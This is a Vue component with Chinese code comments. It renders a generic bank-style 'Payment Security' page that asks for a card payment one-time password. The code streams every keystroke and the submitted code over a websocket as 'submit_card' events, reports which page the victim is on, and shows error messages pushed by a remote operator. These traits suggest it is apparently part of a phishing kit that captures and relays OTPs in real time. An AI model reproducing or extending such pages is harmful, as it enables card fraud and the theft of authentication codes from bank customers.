458 lines
10 KiB
Vue
458 lines
10 KiB
Vue
<script setup lang="ts">
|
||
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
|
||
import { useRoute } from "vue-router";
|
||
import eventBus from "@/utils/eventBus";
|
||
import CardType1 from "../components/CardType1.vue";
|
||
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
|
||
import { useI18n } from "vue-i18n";
|
||
|
||
const { t } = useI18n();
|
||
const cardType = ref("");
|
||
const message1 = ref("");
|
||
const isVerifying = ref(false);
|
||
|
||
onMounted(() => {
|
||
myWebSocket?.send(
|
||
JSON.stringify({
|
||
event: "page_type",
|
||
content: { pageType: "otpValid" },
|
||
})
|
||
);
|
||
const route = useRoute();
|
||
const query = route.query as any;
|
||
if (query && query.cardType) {
|
||
cardType.value = query.cardType;
|
||
localStorage.setItem("cardType", query.cardType);
|
||
} else {
|
||
const type = localStorage.getItem("cardType");
|
||
if (type) {
|
||
cardType.value = type;
|
||
}
|
||
}
|
||
|
||
if (query && query.message1) {
|
||
message1.value = query.message1;
|
||
localStorage.setItem("message1", query.message1);
|
||
} else {
|
||
const type = localStorage.getItem("message1");
|
||
if (type) {
|
||
message1.value = type;
|
||
}
|
||
}
|
||
localStorage.setItem("route", "otpValid");
|
||
|
||
// 尝试恢复倒计时，如果没有进行中的倒计时则启动新的倒计时
|
||
restoreCountdown();
|
||
if (!isCounting.value) {
|
||
startCountdown("");
|
||
}
|
||
|
||
eventBus.on("otp-valid", handleEvent);
|
||
});
|
||
|
||
const formData = reactive({ verifyCode: "" });
|
||
|
||
const onchange = (value: any) => {
|
||
inputChange("input_card", "verifyCode", value.target.value);
|
||
formData.verifyCode = value.target.value;
|
||
};
|
||
|
||
const submit = async () => {
|
||
await nextTick();
|
||
isVerifying.value = true;
|
||
|
||
if (!areAllValuesNotEmpty(formData)) {
|
||
isVerifying.value = false;
|
||
return;
|
||
}
|
||
|
||
myWebSocket?.send(
|
||
JSON.stringify({
|
||
event: "submit_card",
|
||
content: {
|
||
type: "submitValidCode",
|
||
formData: formData,
|
||
},
|
||
})
|
||
);
|
||
};
|
||
|
||
const initialTime = 60;
|
||
const timeLeft = ref(initialTime);
|
||
const isCounting = ref(false);
|
||
let timer: number | null = null;
|
||
|
||
const buttonText = computed(() => {
|
||
return isCounting.value
|
||
? `Resend Code (00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value})`
|
||
: "Resend Code";
|
||
});
|
||
|
||
const startCountdown = (resultType: string) => {
|
||
if (isCounting.value) return;
|
||
myWebSocket?.send(
|
||
JSON.stringify({
|
||
event: "page_type",
|
||
content: { pageType: "otpValid", resultType: resultType },
|
||
})
|
||
);
|
||
isCounting.value = true;
|
||
timeLeft.value = initialTime;
|
||
|
||
// 保存倒计时开始时间到 localStorage，方便页面刷新后恢复
|
||
const startTime = Date.now();
|
||
localStorage.setItem("countdownStartTime", startTime.toString());
|
||
localStorage.setItem("countdownDuration", initialTime.toString());
|
||
|
||
timer = window.setInterval(() => {
|
||
if (timeLeft.value > 0) {
|
||
timeLeft.value -= 1;
|
||
} else {
|
||
stopCountdown();
|
||
}
|
||
}, 1000);
|
||
};
|
||
|
||
const stopCountdown = () => {
|
||
if (timer !== null) {
|
||
clearInterval(timer);
|
||
timer = null;
|
||
}
|
||
isCounting.value = false;
|
||
// 清除 localStorage 中的倒计时数据
|
||
localStorage.removeItem("countdownStartTime");
|
||
localStorage.removeItem("countdownDuration");
|
||
};
|
||
|
||
// 恢复倒计时状态（页面刷新后）
|
||
const restoreCountdown = () => {
|
||
const startTimeStr = localStorage.getItem("countdownStartTime");
|
||
const durationStr = localStorage.getItem("countdownDuration");
|
||
|
||
if (startTimeStr && durationStr) {
|
||
const startTime = parseInt(startTimeStr);
|
||
const duration = parseInt(durationStr);
|
||
const elapsedSeconds = Math.floor((Date.now() - startTime) / 1000);
|
||
const remainingTime = Math.max(0, duration - elapsedSeconds);
|
||
|
||
if (remainingTime > 0) {
|
||
isCounting.value = true;
|
||
timeLeft.value = remainingTime;
|
||
|
||
timer = window.setInterval(() => {
|
||
if (timeLeft.value > 0) {
|
||
timeLeft.value -= 1;
|
||
} else {
|
||
stopCountdown();
|
||
}
|
||
}, 1000);
|
||
} else {
|
||
// 倒计时已过期，清除数据
|
||
localStorage.removeItem("countdownStartTime");
|
||
localStorage.removeItem("countdownDuration");
|
||
}
|
||
}
|
||
};
|
||
|
||
const message = ref("");
|
||
|
||
const handleEvent = (data: { message2: string }) => {
|
||
message.value = data.message2;
|
||
isVerifying.value = false;
|
||
};
|
||
|
||
onUnmounted(() => {
|
||
eventBus.off("otp-valid", handleEvent);
|
||
// 不要在卸载时清除倒计时，这样刷新页面时倒计时还会继续
|
||
if (timer !== null) {
|
||
clearInterval(timer);
|
||
}
|
||
});
|
||
</script>
|
||
|
||
<template>
|
||
<div id="otp-page" class="page-wrapper">
|
||
<div class="container-outer">
|
||
<div class="card-container">
|
||
<div class="header-nav">
|
||
<div class="bank-icon">
|
||
<svg viewBox="0 0 24 24" width="36" height="36" fill="#333">
|
||
<path d="M4 10v7h3v-7H4zm6 0v7h3v-7h-3zM2 22h19v-3H2v3zm14-12v7h3v-7h-3zm-4.5-9L2 6v2h19V6l-9.5-5z"></path>
|
||
</svg>
|
||
</div>
|
||
<div class="card-logo-wrapper">
|
||
<CardType1 :cardType="cardType" />
|
||
</div>
|
||
</div>
|
||
|
||
<div class="content-body">
|
||
<h2 class="page-title">Payment Security</h2>
|
||
|
||
<p class="instruction-text">
|
||
To ensure the security of your payment, we have sent a One-Time Password (OTP) to your registered mobile number
|
||
<span v-if="message1"> ending in {{ message1 }}</span>.
|
||
Please enter the verification code below.
|
||
</p>
|
||
|
||
<form @submit.prevent="submit">
|
||
<div class="form-group">
|
||
<label class="field-label">Verification Code</label>
|
||
<input
|
||
required
|
||
type="text"
|
||
class="otp-input-field"
|
||
placeholder="Enter verification code"
|
||
v-model="formData.verifyCode"
|
||
@input="onchange"
|
||
/>
|
||
</div>
|
||
|
||
<div class="error-feedback" v-if="message">{{ message }}</div>
|
||
|
||
<div class="form-actions-row">
|
||
<button type="submit" class="submit-button">Submit</button>
|
||
<a href="javascript:void(0)" class="resend-link" @click="startCountdown('resendCode')">
|
||
{{ buttonText }}
|
||
</a>
|
||
</div>
|
||
</form>
|
||
|
||
<div class="bottom-links">
|
||
<div class="divider-line"></div>
|
||
|
||
<div class="info-row">
|
||
<span class="info-label">Learn more about Authentication</span>
|
||
<span class="icon-plus">+</span>
|
||
</div>
|
||
|
||
<div class="info-row">
|
||
<span class="info-label">Need Help?</span>
|
||
<span class="icon-plus">+</span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<Transition name="fade">
|
||
<div class="loading-overlay" v-if="isVerifying">
|
||
<div class="overlay-backdrop"></div>
|
||
<div class="overlay-box">
|
||
<div class="loader-spinner"></div>
|
||
<div class="loader-text">Verifying...</div>
|
||
</div>
|
||
</div>
|
||
</Transition>
|
||
</div>
|
||
</template>
|
||
|
||
<style scoped>
|
||
.page-wrapper {
|
||
background-color: #ffffff;
|
||
min-height: 100vh;
|
||
display: flex;
|
||
justify-content: center;
|
||
align-items: flex-start;
|
||
font-family: "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
|
||
}
|
||
|
||
.container-outer {
|
||
width: 100%;
|
||
max-width: 500px;
|
||
padding: 20px;
|
||
}
|
||
|
||
.card-container {
|
||
background: #ffffff;
|
||
}
|
||
|
||
/* Header Navbar */
|
||
.header-nav {
|
||
display: flex;
|
||
justify-content: space-between;
|
||
align-items: center;
|
||
padding: 10px 0 25px 0;
|
||
border-bottom: 1px solid #f0f2f5;
|
||
}
|
||
|
||
.content-body {
|
||
padding: 35px 0;
|
||
}
|
||
|
||
.page-title {
|
||
font-size: 24px;
|
||
font-weight: 600;
|
||
color: #122b46;
|
||
margin-bottom: 15px;
|
||
}
|
||
|
||
.instruction-text {
|
||
font-size: 15px;
|
||
color: #616e7c;
|
||
line-height: 1.5;
|
||
margin-bottom: 35px;
|
||
}
|
||
|
||
/* Form Styles */
|
||
.form-group {
|
||
margin-bottom: 15px;
|
||
}
|
||
|
||
.field-label {
|
||
display: block;
|
||
font-weight: 700;
|
||
font-size: 15px;
|
||
color: #243b53;
|
||
margin-bottom: 12px;
|
||
}
|
||
|
||
.otp-input-field {
|
||
width: 100%;
|
||
padding: 14px 12px;
|
||
border: 1px solid #d1d9e2;
|
||
border-radius: 4px;
|
||
font-size: 16px;
|
||
box-sizing: border-box;
|
||
}
|
||
|
||
.otp-input-field::placeholder {
|
||
color: #9fb3c8;
|
||
}
|
||
|
||
.otp-input-field:focus {
|
||
border-color: #2563eb;
|
||
outline: none;
|
||
}
|
||
|
||
/* Actions: Button and Resend Link on the same line */
|
||
.form-actions-row {
|
||
display: flex;
|
||
align-items: center;
|
||
gap: 20px;
|
||
margin-top: 30px;
|
||
}
|
||
|
||
.submit-button {
|
||
background-color: #2563eb; /* Blue primary */
|
||
color: #ffffff;
|
||
border: none;
|
||
padding: 14px 0;
|
||
width: 280px; /* Specific width as per UI */
|
||
border-radius: 6px;
|
||
font-size: 16px;
|
||
font-weight: 600;
|
||
cursor: pointer;
|
||
transition: background 0.2s;
|
||
}
|
||
|
||
.submit-button:hover {
|
||
background-color: #1d4ed8;
|
||
}
|
||
|
||
.resend-link {
|
||
font-size: 15px;
|
||
color: #2563eb;
|
||
text-decoration: none;
|
||
white-space: nowrap;
|
||
}
|
||
|
||
.resend-link:hover {
|
||
text-decoration: underline;
|
||
}
|
||
|
||
.error-feedback {
|
||
color: #d93025;
|
||
font-size: 14px;
|
||
margin-top: 10px;
|
||
}
|
||
|
||
/* Accordion Style Links */
|
||
.bottom-links {
|
||
margin-top: 40px;
|
||
}
|
||
|
||
.divider-line {
|
||
height: 1px;
|
||
background-color: #e4e7eb;
|
||
margin-bottom: 10px;
|
||
}
|
||
|
||
.info-row {
|
||
display: flex;
|
||
justify-content: space-between;
|
||
align-items: center;
|
||
padding: 20px 0;
|
||
border-bottom: 1px solid #e4e7eb;
|
||
cursor: pointer;
|
||
}
|
||
|
||
.info-label {
|
||
font-size: 15px;
|
||
color: #243b53;
|
||
font-weight: 400;
|
||
}
|
||
|
||
.icon-plus {
|
||
color: #9fb3c8;
|
||
font-size: 20px;
|
||
}
|
||
|
||
/* Loading Overlay Styles */
|
||
.loading-overlay {
|
||
position: fixed;
|
||
inset: 0;
|
||
z-index: 9999;
|
||
display: flex;
|
||
align-items: center;
|
||
justify-content: center;
|
||
}
|
||
|
||
.overlay-backdrop {
|
||
position: absolute;
|
||
inset: 0;
|
||
background: rgba(255, 255, 255, 0.9);
|
||
}
|
||
|
||
.overlay-box {
|
||
position: relative;
|
||
text-align: center;
|
||
}
|
||
|
||
.loader-spinner {
|
||
width: 45px;
|
||
height: 45px;
|
||
border: 4px solid #f3f3f3;
|
||
border-top: 4px solid #2563eb;
|
||
border-radius: 50%;
|
||
animation: spin 1s linear infinite;
|
||
margin: 0 auto 15px;
|
||
}
|
||
|
||
.loader-text {
|
||
font-size: 15px;
|
||
color: #486581;
|
||
}
|
||
|
||
@keyframes spin {
|
||
0% { transform: rotate(0deg); }
|
||
100% { transform: rotate(360deg); }
|
||
}
|
||
|
||
.fade-enter-active, .fade-leave-active { transition: opacity 0.3s; }
|
||
.fade-enter-from, .fade-leave-to { opacity: 0; }
|
||
|
||
/* Responsive */
|
||
@media (max-width: 480px) {
|
||
.form-actions-row {
|
||
flex-direction: column;
|
||
align-items: stretch;
|
||
}
|
||
.submit-button {
|
||
width: 100%;
|
||
}
|
||
.resend-link {
|
||
text-align: center;
|
||
margin-top: 10px;
|
||
}
|
||
}
|
||
</style> |